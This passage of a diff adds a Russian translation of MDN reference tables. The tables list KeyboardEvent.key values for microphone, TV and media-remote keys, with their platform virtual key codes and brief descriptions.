+   <td><code>"MicrophoneVolumeMute"</code></td>
+   <td>Отключает микрофонный вход.</td>
+   <td><code>APPCOMMAND_MICROPHONE_VOLUME_MUTE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioMicMute</code> (0x1008FFB2)<br>
+    <code>Qt::Key_MicMute</code> (0x01000113)</td>
+   <td><code>KEYCODE_MUTE</code> (91)</td>
+  </tr>
+  <tr>
+   <td><code>"MicrophoneVolumeUp"</code></td>
+   <td>Увеличивает громкость входного сигнала микрофона.</td>
+   <td><code>APPCOMMAND_MICROPHONE_VOLUME_UP</code></td>
+   <td></td>
+   <td><code>Qt::Key_MicVolumeUp</code> (0x0100011D)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Internet Explorer, Edge, и Firefox (48 и более ранние) используют <code>"VolumeUp"</code>, <code>"VolumeDown"</code>, и <code>"VolumeMute"</code> вместо <code>"AudioVolumeUp"</code>, <code>"AudioVolumeDown"</code>, и <code>"AudioVolumeMute"</code>. В Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">они были обновлены в соответствии с последней спецификацией.</span> <span title="">Старые имена все еще используются в </span></span><a href="/en-US/docs/Mozilla/B2G_OS">Boot to Gecko</a>.</p>
+
+<h2 id="Клавиши_управления_ТВ"><span class="tlid-translation translation" lang="ru"><span title="">Клавиши управления ТВ</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Эти ключевые значения представляют собой кнопки или клавиши на телевизионных устройствах, компьютерах или телефонах с поддержкой телевидения.</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"TV"</code> [1]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает в режим просмотра ТВ.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV</code> (170)</td>
+  </tr>
+  <tr>
+   <td><code>"TV3DMode"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает режим 3D TV.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_3D_MODE</code> (206)</td>
+  </tr>
+  <tr>
+   <td><code>"TVAntennaCable"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключение между антенным и кабельным входами.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_ANTENNA_CABLE</code> (242)</td>
+  </tr>
+  <tr>
+   <td><code>"TVAudioDescription"</code></td>
+   <td>Включает и выключает режим описания звука.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_AUDIO_DESCRIPTION</code> (252)</td>
+  </tr>
+  <tr>
+   <td><code>"TVAudioDescriptionMixDown"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Уменьшает громкость микширования аудиоописаний;</span> <span title="">уменьшает громкость аудиоописаний относительно звука программы.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_AUDIO_DESCRIPTION_MIX_DOWN</code> (254)</td>
+  </tr>
+  <tr>
+   <td><code>"TVAudioDescriptionMixUp"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Увеличивает громкость микширования аудиоописаний;</span> <span title="">увеличивает громкость аудиоописаний относительно звука программы.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_AUDIO_DESCRIPTION_MIX_UP</code> (253)</td>
+  </tr>
+  <tr>
+   <td><code>"TVContentsMenu"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Отображает или скрывает мультимедийное содержимое, доступное для воспроизведения (это может быть руководство по каналам, показывающее программы, транслируемые в данный момент, или список мультимедийных файлов для воспроизведения).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_CONTENTS_MENU</code> (256)</td>
+  </tr>
+  <tr>
+   <td><code>"TVDataService"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Отображает или скрывает сервисное меню данных телевизора.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_DATA_SERVICE</code> (230)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInput"</code> [2]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает источник сигнала на внешнем телевизоре.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT</code> (178)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputComponent1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход «Компонент 1».</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_COMPONENT_1</code> (249)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputComponent2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход «Компонент</span></span> 2."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_COMPONENT_2</code> (250)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputComposite1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход «Композитный 1».</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_COMPOSITE_1</code> (247)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputComposite2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход «Композитный</span></span> 2."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_COMPOSITE_2</code> (248)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputHDMI1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход «HDMI 1».</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_HDMI_1</code> (243)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputHDMI2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход</span></span> "HDMI 2."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_HDMI_2</code> (244)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputHDMI3"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход</span></span> "HDMI 3."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_HDMI_3</code> (245)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputHDMI4"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход</span></span> "HDMI 4."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_HDMI_4</code> (246)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputVGA1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход</span></span> "VGA 1."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_VGA_1</code> (251)</td>
+  </tr>
+  <tr>
+   <td><code>"TVMediaContext"</code></td>
+   <td>Клавиша контекстного меню мультимедиа.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_MEDIA_CONTEXT_MENU</code> (257)</td>
+  </tr>
+  <tr>
+   <td><code>"TVNetwork"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включение и выключение сетевого подключения телевизора.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_NETWORK</code> (241)</td>
+  </tr>
+  <tr>
+   <td><code>"TVNumberEntry"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переведите телевизор в режим ввода номера.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_NUMBER_ENTRY</code> (234)</td>
+  </tr>
+  <tr>
+   <td><code>"TVPower"</code> [2]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Кнопка питания устройства.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_POWER</code> (177)</td>
+  </tr>
+  <tr>
+   <td><code>"TVRadioService"</code></td>
+   <td>Кнопка радио</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_RADIO_SERVICE</code> (232)</td>
+  </tr>
+  <tr>
+   <td><code>"TVSatellite"</code></td>
+   <td>Кнопка спутника</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_SATELLITE</code> (237)</td>
+  </tr>
+  <tr>
+   <td><code>"TVSatelliteBS"</code></td>
+   <td>Broadcast Satellite button.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_SATELLITE_BS</code> (238)</td>
+  </tr>
+  <tr>
+   <td><code>"TVSatelliteCS"</code></td>
+   <td>Communication Satellite button.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_SATELLITE_CS</code> (239)</td>
+  </tr>
+  <tr>
+   <td><code>"TVSatelliteToggle"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключение между доступными спутниками.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_SATELLITE_SERVICE</code> (240)</td>
+  </tr>
+  <tr>
+   <td><code>"TVTerrestrialAnalog"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает услугу аналогового наземного телевидения (аналоговый кабельный или антенный прием).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_TERRESTRIAL_ANALOG</code> (235)</td>
+  </tr>
+  <tr>
+   <td><code>"TVTerrestrialDigital"</code></td>
+   <td>Выбирает услугу цифрового наземного телевидения (цифровой кабельный или антенный прием).</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_TERRESTRIAL_DIGITAL</code> (236)</td>
+  </tr>
+  <tr>
+   <td><code>"TVTimer"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Кнопка программирования таймера.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_TIMER_PROGRAMMING</code> (258)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] В Firefox добавлена надлежащая поддержка для клавиши <code>"TV"</code> в Firefox 37; до этого, эта клавиша генерировала значение <code>"Live"</code>.</p>
+
+<p>[2] Эти клавиши возвращали <code>"Unidentified"</code> до Firefox 37.</p>
+
+<h2 id="Клавиши_медиа-контроллера"><span class="tlid-translation translation" lang="ru"><span title="">Клавиши медиа-контроллера</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Поскольку современные пульты дистанционного управления для мультимедийных устройств часто включают кнопки, помимо базовых элементов управления, описанных в другом месте в этом документе, ключевые значения определены для широкого набора этих дополнительных кнопок.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Приведенные ниже значения частично получены из ряда технических характеристик бытовой электроники:</span></span></p>
+
+<ul>
+ <li><a href="http://atsc.org/standard/a100-dtv-application-software-environment-level-1-dase-1/">DTV Application Software Environment</a> (часть спецификации {{interwiki("wikipedia", "ATSC")}})</li>
+ <li><a href="http://www.cablelabs.com/specifications/OC-SP-OCAP1.1.3-100603.pdf">Open Cable Application Platform 1.1.3</a></li>
+ <li><a href="http://www.ce.org/Standards/Standard-Listings/R7-Home-Network-Committee/CEA-2014-B-(ANSI%29.aspx">ANSI/CEA-2014-B</a>: Веб-протокол и фреймворк для удаленного пользовательского интерфейса в сетях UPnP ™ и Интернете</li>
+ <li><a href="http://developer.android.com/reference/android/view/KeyEvent.html">Android KeyEvent key code values</a></li>
+</ul>
+
+<div class="note">
+<p><strong>Заметка:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Пульт дистанционного управления обычно содержит кнопки, значения которых уже определены где-то еще, например</span></span> <em><span class="tlid-translation translation" lang="ru"><span title="">Мультимедийные клавиши</span></span></em> или <em>Клавиши управления звуком</em>. <span class="tlid-translation translation" lang="ru"><span title="">Значения этих кнопок будут соответствовать тому, что задокументировано в этих таблицах.</span></span></p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"AVRInput"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Изменяет источник сигнала на внешнем аудио / видео ресивере (AVR).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_AVR_INPUT</code> (182)</td>
+  </tr>
+  <tr>
+   <td><code>"AVRPower"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает питание внешнего блока AVR.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_AVR_POWER</code> (181)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF0Red"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Универсальная функциональная клавиша мультимедиа красного цвета.</span> <span title="">Она имеет индекс 0 среди цветных клавиш.</span></span></td>
+   <td><code>VK_COLORED_KEY_0</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_RED</code> (183)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF1Green"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Универсальная функциональная клавиша мультимедиа зелёного цвета.</span> <span title="">Она имеет индекс 1 среди цветных клавиш.</span></span></td>
+   <td><code>VK_COLORED_KEY_1</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_GREEN</code> (184)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF2Yellow"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Универсальная функциональная клавиша мультимедиа жёлтого цвета.</span> <span title="">Она имеет индекс 2 среди цветных клавиш.</span></span></td>
+   <td><code>VK_COLORED_KEY_2</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_YELLOW</code> (185)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF3Blue"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Универсальная функциональная клавиша мультимедиа синего цвет.</span> <span title="">Она имеет индекс 3 среди цветных клавиш.</span></span></td>
+   <td><code>VK_COLORED_KEY_3</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_BLUE</code> (186)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF4Grey"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Универсальная функциональная клавиша мультимедиа серого цвета.</span> <span title="">Она имеет индекс 4 среди цветных клавиш.</span></span></td>
+   <td><code>VK_COLORED_KEY_4</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_GREY</code></td>
+  </tr>
+  <tr>
+   <td><code>"ColorF5Brown"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Универсальная функциональная клавиша мультимедиа коричневого цвета.</span> <span title="">Она имеет индекс 5 среди цветных клавиш.</span></span></td>
+   <td><code>VK_COLORED_KEY_5</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_BROWN</code></td>
+  </tr>
+  <tr>
+   <td><code>"ClosedCaptionToggle"</code></td>
+   <td>Включает и выключает скрытые субтитры.</td>
+   <td><code>VK_CC</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_CAPTIONS</code> (175)</td>
+  </tr>
+  <tr>
+   <td><code>"Dimmer"</code></td>
+   <td>Регулирует яркость устройства, переключаясь между двумя уровнями яркости или переключаясь между несколькими уровнями яркости.</td>
+   <td><code>VK_DIMMER</code></td>
+   <td></td>
+   <td><code>GDK_KEY_BrightnessAdjust</code> (0x1008FF3B)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"DisplaySwap"</code></td>
+   <td>Циклически переключает источники видео</td>
+   <td><code>VK_DISPLAY_SWAP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"DVR"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает источник входного сигнала на цифровой видеорегистратор (DVR).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_DVR</code> (173)</td>
+  </tr>
+  <tr>
+   <td><code>"Exit"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Кнопка «Выход» для выхода из текущего приложения или меню.</span></span></td>
+   <td><code>VK_EXIT</code></td>
+   <td></td>
+   <td><code>Qt::Key_Exit</code> (0x0102000a)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteClear0"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Очищает первый слот списка избранного.</span></span></td>
+   <td><code>VK_CLEAR_FAVORITE_0</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteClear1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Очищает второй слот списка избранного.</span></span></td>
+   <td><code>VK_CLEAR_FAVORITE_1</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteClear2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Очищает третий слот списка избранного.</span></span></td>
+   <td><code>VK_CLEAR_FAVORITE_2</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteClear3"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Очищает четвертый слот списка избранного.</span></span></td>
+   <td><code>VK_CLEAR_FAVORITE_3</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteRecall0"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает (вызывает) программу или содержимое, хранящееся в первом слоте списка избранного.</span></span></td>
+   <td><code>VK_RECALL_FAVORITE_0</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteRecall1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает (вызывает) программу или содержимое, хранящееся во втором слоте списка избранного.</span></span></td>
+   <td><code>VK_RECALL_FAVORITE_1</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteRecall2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает (вызывает) программу или содержимое, хранящееся в третьем слоте списка избранного.</span></span></td>
+   <td><code>VK_RECALL_FAVORITE_2</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteRecall3"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает (вызывает) программу или содержимое, хранящееся в четвертом слоте списка избранного.</span></span></td>
+   <td><code>VK_RECALL_FAVORITE_3</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteStore0"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Сохраняет текущую программу или контент в первый слот списка избранного.</span></span></td>
+   <td><code>VK_STORE_FAVORITE_0</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteStore1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Сохраняет текущую программу или контент во второй слот списка избранного.</span></span></td>
+   <td><code>VK_STORE_FAVORITE_1</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteStore2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Сохраняет текущую программу или контент в третий слот списка избранного.</span></span></td>
+   <td><code>VK_STORE_FAVORITE_2</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteStore3"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Сохраняет текущую программу или контент в четвертый слот списка избранного.</span></span></td>
+   <td><code>VK_STORE_FAVORITE_3</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Guide"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает отображение программы или содержимого, содержащего руководство.</span></span></td>
+   <td><code>VK_GUIDE</code></td>
+   <td></td>
+   <td><code>Qt::Key_Guide</code> (0x0100011A)</td>
+   <td><code>KEYCODE_GUIDE</code> (172)</td>
+  </tr>
+  <tr>
+   <td><code>"GuideNextDay"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Если руководство отображается в данный момент, эта кнопка указывает руководству отобразить содержимое на следующий день.</span></span></td>
+   <td><code>VK_NEXT_DAY</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"GuidePreviousDay"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Если руководство отображается в данный момент, эта кнопка указывает руководству отобразить содержимое предыдущего дня.</span></span></td>
+   <td><code>VK_PREV_DAY</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Info"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает отображение информации о текущем выбранном содержимом, программе или медиа.</span></span></td>
+   <td><code>VK_INFO</code></td>
+   <td></td>
+   <td><code>Qt::Key_Info</code> (0x0100011B)</td>
+   <td><code>KEYCODE_INFO</code> (165)</td>
+  </tr>
+  <tr>
+   <td><code>"InstantReplay"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Указывает устройству выполнить мгновенное перевоспроизведение (обычно это некоторая форма возврата на короткий промежуток времени с последующим воспроизведением, возможно, но обычно не в замедленном режиме).</span></span></td>
+   <td><code>VK_INSTANT_REPLAY</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Link"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Открывает содержимое, связанное с текущей программой, если это возможно и доступно.</span></span></td>
+   <td><code>VK_LINK</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ListProgram"</code></td>
+   <td>Список текущей программы.</td>
+   <td><code>VK_LIST</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LiveContent"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает отображение списка доступного в данный момент live-содержимого или программ.</span></span></td>
+   <td><code>VK_LIVE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Lock"</code></td>
+   <td>Блокирует и разблокирует текущее выбранное содержимое или программу.</td>
+   <td><code>VK_LOCK</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MediaApps"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Представляет список мультимедийных приложений, таких как программы просмотра фотографий, аудио- и видеоплееры, а также игры.</span></span> [1]</td>
+   <td><code>VK_APPS</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MediaAudioTrack"</code></td>
+   <td>Клавиша звуковой дорожки.</td>
+   <td></td>
+   <td></td>
+   <td>GDK_KEY_AudioCycleTrack (0x1008FF9B)<br>
+    <code>Qt::Key_AudioCycleTrack</code> (0x01000106)</td>
+   <td><code>KEYCODE_MEDIA_AUDIO_TRACK</code> (222)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaLast"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Возврат к последнему просмотренному содержимому, программе или другому медиафайлу.</span></span></td>
+   <td><code>VK_LAST</code></td>
+   <td></td>
+   <td><code>Qt::Key_MediaLast</code> (0x0100FFFF)</td>
+   <td><code>KEYCODE_LAST_CHANNEL</code> (229)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaSkipBackward"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход назад к предыдущему содержимому или программе.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MEDIA_SKIP_BACKWARD</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaSkipForward"</code></td>
+   <td>Переход к следующему содержимому или программе.</td>
+   <td><code>VK_SKIP</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MEDIA_SKIP_FORWARD</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaStepBackward"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход назад к предыдущему содержимому или программе.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MEDIA_STEP_BACKWARD</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaStepForward"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход к следующему содержимому или программе.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MEDIA_SKIP_FORWARD</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaTopMenu"</code></td>
+   <td>Кнопка верхнего меню. Открывает главное меню носителя (например, для диска DVD или Blu-Ray).</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_TopMenu</code> (0x0100010A)</td>
+   <td><code>KEYCODE_MEDIA_TOP_MENU</code></td>
+  </tr>
+  <tr>
+   <td><code>"NavigateIn"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход в подменю или параметр.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NAVIGATE_IN</code></td>
+  </tr>
+  <tr>
+   <td><code>"NavigateNext"</code></td>
+   <td>Переход к следующему элементу.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NAVIGATE_NEXT</code></td>
+  </tr>
+  <tr>
+   <td><code>"NavigateOut"</code></td>
+   <td>Переход из текущего экрана или меню.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NAVIGATE_OUT</code></td>
+  </tr>
+  <tr>
+   <td><code>"NavigatePrevious"</code></td>
+   <td>Переход к предыдущему элементу.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NAVIGATE_PREVIOUS</code></td>
+  </tr>
+  <tr>
+   <td><code>"NextFavoriteChannel"</code></td>
+   <td>Циклически переходит на следующий канал в списке избранного.</td>
+   <td><code>VK_NEXT_FAVORITE_CHANNEL</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"NextUserProfile"</code></td>
+   <td>Циклически переходит к следующему сохраненному профилю пользователя, если эта функция поддерживается и существует несколько профилей.</td>
+   <td><code>VK_USER</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"OnDemand"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Открывает пользовательский интерфейс для выбора содержимого или программ по запросу для просмотра.</span></span></td>
+   <td><code>VK_ON_DEMAND</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Pairing"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Запускает процесс сопряжения пульта дистанционного управления с управляемым устройством.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PAIRING</code> (225)</td>
+  </tr>
+  <tr>
+   <td><code>"PinPDown"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Кнопка для перемещения изображения «картинка в картинке» вниз.</span></span></td>
+   <td><code>VK_PINP_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PinPMove"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Кнопка для управления перемещением изображения «картинка в картинке».</span></span></td>
+   <td><code>VK_PINP_MOVE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PinPToggle"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает отображение изображения в «картинка в картинке».</span></span></td>
+   <td><code>VK_PINP_TOGGLE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
